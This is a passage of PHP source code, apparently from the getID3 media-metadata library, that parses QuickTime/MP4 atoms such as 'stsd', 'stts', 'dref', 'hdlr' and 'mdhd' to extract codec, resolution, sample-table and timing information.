				$atom_structure['unCompressedSize'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 4));

				$CompressedFileData = substr($atom_data, 4);
				if ($UncompressedHeader = @gzuncompress($CompressedFileData)) {
					$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($UncompressedHeader, 0, $atomHierarchy, $ParseAllPossibleAtoms);
				} else {
					$this->warning('Error decompressing compressed MOV atom at offset '.$atom_structure['offset']);
				}
				break;


			case 'dcom': // Data COMpression atom
				$atom_structure['compression_id']   = $atom_data;
				$atom_structure['compression_text'] = $this->QuicktimeDCOMLookup($atom_data);
				break;


			case 'rdrf': // Reference movie Data ReFerence atom
				$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
				$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
				$atom_structure['flags']['internal_data'] = (bool) ($atom_structure['flags_raw'] & 0x000001);

				$atom_structure['reference_type_name']    =                           substr($atom_data,  4, 4);
				$atom_structure['reference_length']       = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
				switch ($atom_structure['reference_type_name']) {
					case 'url ':
						$atom_structure['url']            =       $this->NoNullString(substr($atom_data, 12));
						break;

					case 'alis':
						$atom_structure['file_alias']     =                           substr($atom_data, 12);
						break;

					case 'rsrc':
						$atom_structure['resource_alias'] =                           substr($atom_data, 12);
						break;

					default:
						$atom_structure['data']           =                           substr($atom_data, 12);
						break;
				}
				break;


			case 'rmqu': // Reference Movie QUality atom
				$atom_structure['movie_quality'] = getid3_lib::BigEndian2Int($atom_data);
				break;


			case 'rmcs': // Reference Movie Cpu Speed atom
				$atom_structure['version']          = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
				$atom_structure['flags_raw']        = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
				$atom_structure['cpu_speed_rating'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
				break;


			case 'rmvc': // Reference Movie Version Check atom
				$atom_structure['version']            = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
				$atom_structure['flags_raw']          = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
				$atom_structure['gestalt_selector']   =                           substr($atom_data,  4, 4);
				$atom_structure['gestalt_value_mask'] = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
				$atom_structure['gestalt_value']      = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
				$atom_structure['gestalt_check_type'] = getid3_lib::BigEndian2Int(substr($atom_data, 14, 2));
				break;


			case 'rmcd': // Reference Movie Component check atom
				$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
				$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
				$atom_structure['component_type']         =                           substr($atom_data,  4, 4);
				$atom_structure['component_subtype']      =                           substr($atom_data,  8, 4);
				$atom_structure['component_manufacturer'] =                           substr($atom_data, 12, 4);
				$atom_structure['component_flags_raw']    = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
				$atom_structure['component_flags_mask']   = getid3_lib::BigEndian2Int(substr($atom_data, 20, 4));
				$atom_structure['component_min_version']  = getid3_lib::BigEndian2Int(substr($atom_data, 24, 4));
				break;


			case 'rmdr': // Reference Movie Data Rate atom
				$atom_structure['version']       = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
				$atom_structure['flags_raw']     = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
				$atom_structure['data_rate']     = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));

				$atom_structure['data_rate_bps'] = $atom_structure['data_rate'] * 10;
				break;


			case 'rmla': // Reference Movie Language Atom
				$atom_structure['version']     = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
				$atom_structure['flags_raw']   = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
				$atom_structure['language_id'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));

				$atom_structure['language']    = $this->QuicktimeLanguageLookup($atom_structure['language_id']);
				if (empty($info['comments']['language']) || (!in_array($atom_structure['language'], $info['comments']['language']))) {
					$info['comments']['language'][] = $atom_structure['language'];
				}
				break;


			case 'rmla': // Reference Movie Language Atom
				$atom_structure['version']   = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
				$atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
				$atom_structure['track_id']  = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
				break;


			case 'ptv ': // Print To Video - defines a movie's full screen mode
				// http://developer.apple.com/documentation/QuickTime/APIREF/SOURCESIV/at_ptv-_pg.htm
				$atom_structure['display_size_raw']  = getid3_lib::BigEndian2Int(substr($atom_data, 0, 2));
				$atom_structure['reserved_1']        = getid3_lib::BigEndian2Int(substr($atom_data, 2, 2)); // hardcoded: 0x0000
				$atom_structure['reserved_2']        = getid3_lib::BigEndian2Int(substr($atom_data, 4, 2)); // hardcoded: 0x0000
				$atom_structure['slide_show_flag']   = getid3_lib::BigEndian2Int(substr($atom_data, 6, 1));
				$atom_structure['play_on_open_flag'] = getid3_lib::BigEndian2Int(substr($atom_data, 7, 1));

				$atom_structure['flags']['play_on_open'] = (bool) $atom_structure['play_on_open_flag'];
				$atom_structure['flags']['slide_show']   = (bool) $atom_structure['slide_show_flag'];

				$ptv_lookup[0] = 'normal';
				$ptv_lookup[1] = 'double';
				$ptv_lookup[2] = 'half';
				$ptv_lookup[3] = 'full';
				$ptv_lookup[4] = 'current';
				if (isset($ptv_lookup[$atom_structure['display_size_raw']])) {
					$atom_structure['display_size'] = $ptv_lookup[$atom_structure['display_size_raw']];
				} else {
					$this->warning('unknown "ptv " display constant ('.$atom_structure['display_size_raw'].')');
				}
				break;


			case 'stsd': // Sample Table Sample Description atom
				$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
				$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
				$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
				$stsdEntriesDataOffset = 8;
				for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
					$atom_structure['sample_description_table'][$i]['size']             = getid3_lib::BigEndian2Int(substr($atom_data, $stsdEntriesDataOffset, 4));
					$stsdEntriesDataOffset += 4;
					$atom_structure['sample_description_table'][$i]['data_format']      =                           substr($atom_data, $stsdEntriesDataOffset, 4);
					$stsdEntriesDataOffset += 4;
					$atom_structure['sample_description_table'][$i]['reserved']         = getid3_lib::BigEndian2Int(substr($atom_data, $stsdEntriesDataOffset, 6));
					$stsdEntriesDataOffset += 6;
					$atom_structure['sample_description_table'][$i]['reference_index']  = getid3_lib::BigEndian2Int(substr($atom_data, $stsdEntriesDataOffset, 2));
					$stsdEntriesDataOffset += 2;
					$atom_structure['sample_description_table'][$i]['data']             =                           substr($atom_data, $stsdEntriesDataOffset, ($atom_structure['sample_description_table'][$i]['size'] - 4 - 4 - 6 - 2));
					$stsdEntriesDataOffset += ($atom_structure['sample_description_table'][$i]['size'] - 4 - 4 - 6 - 2);

					$atom_structure['sample_description_table'][$i]['encoder_version']  = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  0, 2));
					$atom_structure['sample_description_table'][$i]['encoder_revision'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  2, 2));
					$atom_structure['sample_description_table'][$i]['encoder_vendor']   =                           substr($atom_structure['sample_description_table'][$i]['data'],  4, 4);

					switch ($atom_structure['sample_description_table'][$i]['encoder_vendor']) {

						case "\x00\x00\x00\x00":
							// audio tracks
							$atom_structure['sample_description_table'][$i]['audio_channels']       =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  8,  2));
							$atom_structure['sample_description_table'][$i]['audio_bit_depth']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 10,  2));
							$atom_structure['sample_description_table'][$i]['audio_compression_id'] =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 12,  2));
							$atom_structure['sample_description_table'][$i]['audio_packet_size']    =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 14,  2));
							$atom_structure['sample_description_table'][$i]['audio_sample_rate']    = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 16,  4));

							// video tracks
							// http://developer.apple.com/library/mac/#documentation/QuickTime/QTFF/QTFFChap3/qtff3.html
							$atom_structure['sample_description_table'][$i]['temporal_quality'] =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  8,  4));
							$atom_structure['sample_description_table'][$i]['spatial_quality']  =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 12,  4));
							$atom_structure['sample_description_table'][$i]['width']            =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 16,  2));
							$atom_structure['sample_description_table'][$i]['height']           =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 18,  2));
							$atom_structure['sample_description_table'][$i]['resolution_x']     = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 24,  4));
							$atom_structure['sample_description_table'][$i]['resolution_y']     = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 28,  4));
							$atom_structure['sample_description_table'][$i]['data_size']        =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 32,  4));
							$atom_structure['sample_description_table'][$i]['frame_count']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 36,  2));
							$atom_structure['sample_description_table'][$i]['compressor_name']  =                             substr($atom_structure['sample_description_table'][$i]['data'], 38,  4);
							$atom_structure['sample_description_table'][$i]['pixel_depth']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 42,  2));
							$atom_structure['sample_description_table'][$i]['color_table_id']   =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 44,  2));

							switch ($atom_structure['sample_description_table'][$i]['data_format']) {
								case '2vuY':
								case 'avc1':
								case 'cvid':
								case 'dvc ':
								case 'dvcp':
								case 'gif ':
								case 'h263':
								case 'jpeg':
								case 'kpcd':
								case 'mjpa':
								case 'mjpb':
								case 'mp4v':
								case 'png ':
								case 'raw ':
								case 'rle ':
								case 'rpza':
								case 'smc ':
								case 'SVQ1':
								case 'SVQ3':
								case 'tiff':
								case 'v210':
								case 'v216':
								case 'v308':
								case 'v408':
								case 'v410':
								case 'yuv2':
									$info['fileformat'] = 'mp4';
									$info['video']['fourcc'] = $atom_structure['sample_description_table'][$i]['data_format'];
// http://www.getid3.org/phpBB3/viewtopic.php?t=1550
//if ((!empty($atom_structure['sample_description_table'][$i]['width']) && !empty($atom_structure['sample_description_table'][$i]['width'])) && (empty($info['video']['resolution_x']) || empty($info['video']['resolution_y']) || (number_format($info['video']['resolution_x'], 6) != number_format(round($info['video']['resolution_x']), 6)) || (number_format($info['video']['resolution_y'], 6) != number_format(round($info['video']['resolution_y']), 6)))) { // ugly check for floating point numbers
if (!empty($atom_structure['sample_description_table'][$i]['width']) && !empty($atom_structure['sample_description_table'][$i]['height'])) {
	// assume that values stored here are more important than values stored in [tkhd] atom
	$info['video']['resolution_x'] = $atom_structure['sample_description_table'][$i]['width'];
	$info['video']['resolution_y'] = $atom_structure['sample_description_table'][$i]['height'];
	$info['quicktime']['video']['resolution_x'] = $info['video']['resolution_x'];
	$info['quicktime']['video']['resolution_y'] = $info['video']['resolution_y'];
}
									break;

								case 'qtvr':
									$info['video']['dataformat'] = 'quicktimevr';
									break;

								case 'mp4a':
								default:
									$info['quicktime']['audio']['codec']       = $this->QuicktimeAudioCodecLookup($atom_structure['sample_description_table'][$i]['data_format']);
									$info['quicktime']['audio']['sample_rate'] = $atom_structure['sample_description_table'][$i]['audio_sample_rate'];
									$info['quicktime']['audio']['channels']    = $atom_structure['sample_description_table'][$i]['audio_channels'];
									$info['quicktime']['audio']['bit_depth']   = $atom_structure['sample_description_table'][$i]['audio_bit_depth'];
									$info['audio']['codec']                    = $info['quicktime']['audio']['codec'];
									$info['audio']['sample_rate']              = $info['quicktime']['audio']['sample_rate'];
									$info['audio']['channels']                 = $info['quicktime']['audio']['channels'];
									$info['audio']['bits_per_sample']          = $info['quicktime']['audio']['bit_depth'];
									switch ($atom_structure['sample_description_table'][$i]['data_format']) {
										case 'raw ': // PCM
										case 'alac': // Apple Lossless Audio Codec
											$info['audio']['lossless'] = true;
											break;
										default:
											$info['audio']['lossless'] = false;
											break;
									}
									break;
							}
							break;

						default:
							switch ($atom_structure['sample_description_table'][$i]['data_format']) {
								case 'mp4s':
									$info['fileformat'] = 'mp4';
									break;

								default:
									// video atom
									$atom_structure['sample_description_table'][$i]['video_temporal_quality']  =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  8,  4));
									$atom_structure['sample_description_table'][$i]['video_spatial_quality']   =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 12,  4));
									$atom_structure['sample_description_table'][$i]['video_frame_width']       =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 16,  2));
									$atom_structure['sample_description_table'][$i]['video_frame_height']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 18,  2));
									$atom_structure['sample_description_table'][$i]['video_resolution_x']      = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 20,  4));
									$atom_structure['sample_description_table'][$i]['video_resolution_y']      = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 24,  4));
									$atom_structure['sample_description_table'][$i]['video_data_size']         =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 28,  4));
									$atom_structure['sample_description_table'][$i]['video_frame_count']       =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 32,  2));
									$atom_structure['sample_description_table'][$i]['video_encoder_name_len']  =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 34,  1));
									$atom_structure['sample_description_table'][$i]['video_encoder_name']      =                             substr($atom_structure['sample_description_table'][$i]['data'], 35, $atom_structure['sample_description_table'][$i]['video_encoder_name_len']);
									$atom_structure['sample_description_table'][$i]['video_pixel_color_depth'] =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 66,  2));
									$atom_structure['sample_description_table'][$i]['video_color_table_id']    =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 68,  2));

									$atom_structure['sample_description_table'][$i]['video_pixel_color_type']  = (($atom_structure['sample_description_table'][$i]['video_pixel_color_depth'] > 32) ? 'grayscale' : 'color');
									$atom_structure['sample_description_table'][$i]['video_pixel_color_name']  = $this->QuicktimeColorNameLookup($atom_structure['sample_description_table'][$i]['video_pixel_color_depth']);

									if ($atom_structure['sample_description_table'][$i]['video_pixel_color_name'] != 'invalid') {
										$info['quicktime']['video']['codec_fourcc']        = $atom_structure['sample_description_table'][$i]['data_format'];
										$info['quicktime']['video']['codec_fourcc_lookup'] = $this->QuicktimeVideoCodecLookup($atom_structure['sample_description_table'][$i]['data_format']);
										$info['quicktime']['video']['codec']               = (($atom_structure['sample_description_table'][$i]['video_encoder_name_len'] > 0) ? $atom_structure['sample_description_table'][$i]['video_encoder_name'] : $atom_structure['sample_description_table'][$i]['data_format']);
										$info['quicktime']['video']['color_depth']         = $atom_structure['sample_description_table'][$i]['video_pixel_color_depth'];
										$info['quicktime']['video']['color_depth_name']    = $atom_structure['sample_description_table'][$i]['video_pixel_color_name'];

										$info['video']['codec']           = $info['quicktime']['video']['codec'];
										$info['video']['bits_per_sample'] = $info['quicktime']['video']['color_depth'];
									}
									$info['video']['lossless']           = false;
									$info['video']['pixel_aspect_ratio'] = (float) 1;
									break;
							}
							break;
					}
					switch (strtolower($atom_structure['sample_description_table'][$i]['data_format'])) {
						case 'mp4a':
							$info['audio']['dataformat']         = 'mp4';
							$info['quicktime']['audio']['codec'] = 'mp4';
							break;

						case '3ivx':
						case '3iv1':
						case '3iv2':
							$info['video']['dataformat'] = '3ivx';
							break;

						case 'xvid':
							$info['video']['dataformat'] = 'xvid';
							break;

						case 'mp4v':
							$info['video']['dataformat'] = 'mpeg4';
							break;

						case 'divx':
						case 'div1':
						case 'div2':
						case 'div3':
						case 'div4':
						case 'div5':
						case 'div6':
							$info['video']['dataformat'] = 'divx';
							break;

						default:
							// do nothing
							break;
					}
					unset($atom_structure['sample_description_table'][$i]['data']);
				}
				break;


			case 'stts': // Sample Table Time-to-Sample atom
				$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
				$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
				$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
				$sttsEntriesDataOffset = 8;
				//$FrameRateCalculatorArray = array();
				$frames_count = 0;

				$max_stts_entries_to_scan = ($info['php_memory_limit'] ? min(floor($this->getid3->memory_limit / 10000), $atom_structure['number_entries']) : $atom_structure['number_entries']);
				if ($max_stts_entries_to_scan < $atom_structure['number_entries']) {
					$this->warning('QuickTime atom "stts" has '.$atom_structure['number_entries'].' but only scanning the first '.$max_stts_entries_to_scan.' entries due to limited PHP memory available ('.floor($atom_structure['number_entries'] / 1048576).'MB).');
				}
				for ($i = 0; $i < $max_stts_entries_to_scan; $i++) {
					$atom_structure['time_to_sample_table'][$i]['sample_count']    = getid3_lib::BigEndian2Int(substr($atom_data, $sttsEntriesDataOffset, 4));
					$sttsEntriesDataOffset += 4;
					$atom_structure['time_to_sample_table'][$i]['sample_duration'] = getid3_lib::BigEndian2Int(substr($atom_data, $sttsEntriesDataOffset, 4));
					$sttsEntriesDataOffset += 4;

					$frames_count += $atom_structure['time_to_sample_table'][$i]['sample_count'];

					// THIS SECTION REPLACED WITH CODE IN "stbl" ATOM
					//if (!empty($info['quicktime']['time_scale']) && ($atom_structure['time_to_sample_table'][$i]['sample_duration'] > 0)) {
					//	$stts_new_framerate = $info['quicktime']['time_scale'] / $atom_structure['time_to_sample_table'][$i]['sample_duration'];
					//	if ($stts_new_framerate <= 60) {
					//		// some atoms have durations of "1" giving a very large framerate, which probably is not right
					//		$info['video']['frame_rate'] = max($info['video']['frame_rate'], $stts_new_framerate);
					//	}
					//}
					//
					//$FrameRateCalculatorArray[($info['quicktime']['time_scale'] / $atom_structure['time_to_sample_table'][$i]['sample_duration'])] += $atom_structure['time_to_sample_table'][$i]['sample_count'];
				}
				$info['quicktime']['stts_framecount'][] = $frames_count;
				//$sttsFramesTotal  = 0;
				//$sttsSecondsTotal = 0;
				//foreach ($FrameRateCalculatorArray as $frames_per_second => $frame_count) {
				//	if (($frames_per_second > 60) || ($frames_per_second < 1)) {
				//		// not video FPS information, probably audio information
				//		$sttsFramesTotal  = 0;
				//		$sttsSecondsTotal = 0;
				//		break;
				//	}
				//	$sttsFramesTotal  += $frame_count;
				//	$sttsSecondsTotal += $frame_count / $frames_per_second;
				//}
				//if (($sttsFramesTotal > 0) && ($sttsSecondsTotal > 0)) {
				//	if (($sttsFramesTotal / $sttsSecondsTotal) > $info['video']['frame_rate']) {
				//		$info['video']['frame_rate'] = $sttsFramesTotal / $sttsSecondsTotal;
				//	}
				//}
				break;


			case 'stss': // Sample Table Sync Sample (key frames) atom
				if ($ParseAllPossibleAtoms) {
					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$stssEntriesDataOffset = 8;
					for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
						$atom_structure['time_to_sample_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stssEntriesDataOffset, 4));
						$stssEntriesDataOffset += 4;
					}
				}
				break;


			case 'stsc': // Sample Table Sample-to-Chunk atom
				if ($ParseAllPossibleAtoms) {
					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$stscEntriesDataOffset = 8;
					for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
						$atom_structure['sample_to_chunk_table'][$i]['first_chunk']        = getid3_lib::BigEndian2Int(substr($atom_data, $stscEntriesDataOffset, 4));
						$stscEntriesDataOffset += 4;
						$atom_structure['sample_to_chunk_table'][$i]['samples_per_chunk']  = getid3_lib::BigEndian2Int(substr($atom_data, $stscEntriesDataOffset, 4));
						$stscEntriesDataOffset += 4;
						$atom_structure['sample_to_chunk_table'][$i]['sample_description'] = getid3_lib::BigEndian2Int(substr($atom_data, $stscEntriesDataOffset, 4));
						$stscEntriesDataOffset += 4;
					}
				}
				break;


			case 'stsz': // Sample Table SiZe atom
				if ($ParseAllPossibleAtoms) {
					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['sample_size']    = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
					$stszEntriesDataOffset = 12;
					if ($atom_structure['sample_size'] == 0) {
						for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
							$atom_structure['sample_size_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stszEntriesDataOffset, 4));
							$stszEntriesDataOffset += 4;
						}
					}
				}
				break;


			case 'stco': // Sample Table Chunk Offset atom
				if ($ParseAllPossibleAtoms) {
					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$stcoEntriesDataOffset = 8;
					for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
						$atom_structure['chunk_offset_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stcoEntriesDataOffset, 4));
						$stcoEntriesDataOffset += 4;
					}
				}
				break;


			case 'co64': // Chunk Offset 64-bit (version of "stco" that supports > 2GB files)
				if ($ParseAllPossibleAtoms) {
					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$stcoEntriesDataOffset = 8;
					for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
						$atom_structure['chunk_offset_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stcoEntriesDataOffset, 8));
						$stcoEntriesDataOffset += 8;
					}
				}
				break;


			case 'dref': // Data REFerence atom
				$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
				$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
				$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
				$drefDataOffset = 8;
				for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
					$atom_structure['data_references'][$i]['size']                    = getid3_lib::BigEndian2Int(substr($atom_data, $drefDataOffset, 4));
					$drefDataOffset += 4;
					$atom_structure['data_references'][$i]['type']                    =                           substr($atom_data, $drefDataOffset, 4);
					$drefDataOffset += 4;
					$atom_structure['data_references'][$i]['version']                 = getid3_lib::BigEndian2Int(substr($atom_data,  $drefDataOffset, 1));
					$drefDataOffset += 1;
					$atom_structure['data_references'][$i]['flags_raw']               = getid3_lib::BigEndian2Int(substr($atom_data,  $drefDataOffset, 3)); // hardcoded: 0x0000
					$drefDataOffset += 3;
					$atom_structure['data_references'][$i]['data']                    =                           substr($atom_data, $drefDataOffset, ($atom_structure['data_references'][$i]['size'] - 4 - 4 - 1 - 3));
					$drefDataOffset += ($atom_structure['data_references'][$i]['size'] - 4 - 4 - 1 - 3);

					$atom_structure['data_references'][$i]['flags']['self_reference'] = (bool) ($atom_structure['data_references'][$i]['flags_raw'] & 0x001);
				}
				break;


			case 'gmin': // base Media INformation atom
				$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
				$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
				$atom_structure['graphics_mode']          = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
				$atom_structure['opcolor_red']            = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2));
				$atom_structure['opcolor_green']          = getid3_lib::BigEndian2Int(substr($atom_data,  8, 2));
				$atom_structure['opcolor_blue']           = getid3_lib::BigEndian2Int(substr($atom_data, 10, 2));
				$atom_structure['balance']                = getid3_lib::BigEndian2Int(substr($atom_data, 12, 2));
				$atom_structure['reserved']               = getid3_lib::BigEndian2Int(substr($atom_data, 14, 2));
				break;


			case 'smhd': // Sound Media information HeaDer atom
				$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
				$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
				$atom_structure['balance']                = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
				$atom_structure['reserved']               = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2));
				break;


			case 'vmhd': // Video Media information HeaDer atom
				$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
				$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
				$atom_structure['graphics_mode']          = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
				$atom_structure['opcolor_red']            = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2));
				$atom_structure['opcolor_green']          = getid3_lib::BigEndian2Int(substr($atom_data,  8, 2));
				$atom_structure['opcolor_blue']           = getid3_lib::BigEndian2Int(substr($atom_data, 10, 2));

				$atom_structure['flags']['no_lean_ahead'] = (bool) ($atom_structure['flags_raw'] & 0x001);
				break;


			case 'hdlr': // HanDLeR reference atom
				$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
				$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
				$atom_structure['component_type']         =                           substr($atom_data,  4, 4);
				$atom_structure['component_subtype']      =                           substr($atom_data,  8, 4);
				$atom_structure['component_manufacturer'] =                           substr($atom_data, 12, 4);
				$atom_structure['component_flags_raw']    = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
				$atom_structure['component_flags_mask']   = getid3_lib::BigEndian2Int(substr($atom_data, 20, 4));
				$atom_structure['component_name']         =      $this->Pascal2String(substr($atom_data, 24));

				if (($atom_structure['component_subtype'] == 'STpn') && ($atom_structure['component_manufacturer'] == 'zzzz')) {
					$info['video']['dataformat'] = 'quicktimevr';
				}
				break;


			case 'mdhd': // MeDia HeaDer atom
				$atom_structure['version']               = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
				$atom_structure['flags_raw']             = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
				$atom_structure['creation_time']         = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
				$atom_structure['modify_time']           = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
				$atom_structure['time_scale']            = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
				$atom_structure['duration']              = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
				$atom_structure['language_id']           = getid3_lib::BigEndian2Int(substr($atom_data, 20, 2));
				$atom_structure['quality']               = getid3_lib::BigEndian2Int(substr($atom_data, 22, 2));

				if ($atom_structure['time_scale'] == 0) {
					$this->error('Corrupt Quicktime file: mdhd.time_scale == zero');
					return false;
				}
				$info['quicktime']['time_scale'] = ((isset($info['quicktime']['time_scale']) && ($info['quicktime']['time_scale'] < 1000)) ? max($info['quicktime']['time_scale'], $atom_structure['time_scale']) : $atom_structure['time_scale']);

				$atom_structure['creation_time_unix']    = getid3_lib::DateMac2Unix($atom_structure['creation_time']);
				$atom_structure['modify_time_unix']      = getid3_lib::DateMac2Unix($atom_structure['modify_time']);
				$atom_structure['playtime_seconds']      = $atom_structure['duration'] / $atom_structure['time_scale'];
				$atom_structure['language']              = $this->QuicktimeLanguageLookup($atom_structure['language_id']);
				if (empty($info['comments']['language']) || (!in_array($atom_structure['language'], $info['comments']['language']))) {
					$info['comments']['language'][] = $atom_structure['language'];
				}
				break;


			case 'pnot': // Preview atom
				$atom_structure['modification_date']      = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4)); // "standard Macintosh format"
